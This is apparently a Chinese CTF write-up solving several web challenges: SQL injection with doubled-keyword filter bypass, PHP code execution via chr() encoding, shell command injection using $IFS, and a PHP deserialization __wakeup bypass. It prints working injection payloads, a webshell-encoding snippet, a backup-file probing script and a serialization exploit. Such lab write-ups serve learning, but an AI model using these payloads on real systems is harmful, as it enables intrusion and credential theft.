sql注入(babysql:双写绕过)
拿到题目
- 拿万能密码试一下:
- 发现or被过滤了,但依然会有报错,数据库是mariaDB
- 试一下字段数: 1’ order by 3# ,知道by也被过滤,通过进一步测试发现or by union select where from 均被过滤。
You have an error in your SQL syntax; check the manual that
corresponds to your MariaDB server version for the right syntax to use
near ‘der 3#’ and password=‘1’’ at line 1
- 双写尝试:1’ oorrder bbyy 3# (无法直接判断字段数)
- 通过联合注入判断字段数
- 成功猜测字段数为3,正常测试:%23注释 ’ url编码会在后台服务器自动解码.
username=1&password=1' ununionion selselectect 1,2,database()%23
username=1&password=-1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema= 'geek' %23
username=1&password=-1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name= 'b4bsql' %23
username=1&password=-1' ununionion selselectect 1,2,group_concat(username,passwoorrd) frfromom b4bsql %23
拿到flag
- 知道字段数还可以通过联合注入猜测
- 双写绕过
RCE(Easy Calc,ping ping ping)
Easy Calc
查看页面源代码:发现一个waf,和参数calc.php?num=
尝试访问(黑名单过滤),并且尝试知道num后面只能接数字,不然显示403.
首先在num这个参数上面做文章,num是只能接数字,可修改成%20num进行绕过,%20代表空格,那么这个参数就不是num了,但是在服务器会自动解析空格会被忽略。
由于对参数有限制,比如过滤了/ ,可以通过转ascii码的方法绕过
/calc.php?%20num=var_dump(scandir(chr(47))); 扫描根目录并打印出来
发现f1agg,读取
%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag
转ascii码的代码如下:
<?php
$str= '<?php eval($_POST[x]);?>';
$i=0;
while($i<strlen($str))
{
$p .='chr('.ord($str[$i]).')'.'.';
$i++;
}
echo $p;
?>
ping ping ping
本题需要我们构造ip,可以利用linux管道符
ls查看目录文件
尝试读取:过滤了空格
空格绕过:
$IFS
${IFS}
$IFS$1 //$后面数字都行(单独数字不能为变量名)
IFS linux的局部变量默认值是空格、制表符和换行符
<
<>
%20
%09
这里$IFS$1可以绕过,发现flag被禁,去看看index.php
这里发现单双引号,反斜杠,问号等全被过滤,采用别的办法。
在这有三个方法进行读取:
- 方法一:这里可以看到有一个变量$a,既然是可变的变量,那么可以利用。
?ip=127.0.0.1;a=g;tac$IFS$1fla$a.php; //tac是表示反向输出,使用cat的话需要f12在源码中找flag
方法二:这里禁用了bash解析,但是sh解析并没有被被禁用
将tac flag.php转码成base64,利用管道符 | 实现
方法三:内联执行,将反引号内命令的输出作为输入执行
反序列化(PHP)
首先得得到网站的备份文件:
使用disearch,无果,或者bp字典爆破,也未成功。
写一个简单脚本通过返回HTTP标识码,判断是否存在。
import requests
url = "http://4058c5e2-eafc-4623-86cd-738994754f8a.node4.buuoj.cn:81"
l1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
l2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in l1:
for j in l2:
print(i+"."+j)
url_final = url + "/" + i + "." + j
r = requests.get(url_final)
print(r)
欧克,下载查看www.zip
综合一下其中的php文件
<?php
include 'flag.php';
//$flag = 'Syc{dog_dog_dog_dog}';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
分析一下本题:本题通过select传参,利用反序列化漏洞,输出flag
username=admin,password=100,对于__wakeup函数,需要对象的变量数大于原数绕过,私有变量(其中的不显示字符为%00)最后转码成url更方便。
写出反序列化利用代码:
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$a=serialize(new Name());
print_r($a); //将2替换成更大的数
$a=str_replace('2:','3:',$a);
print_r(urlencode($a));
?>
得到flag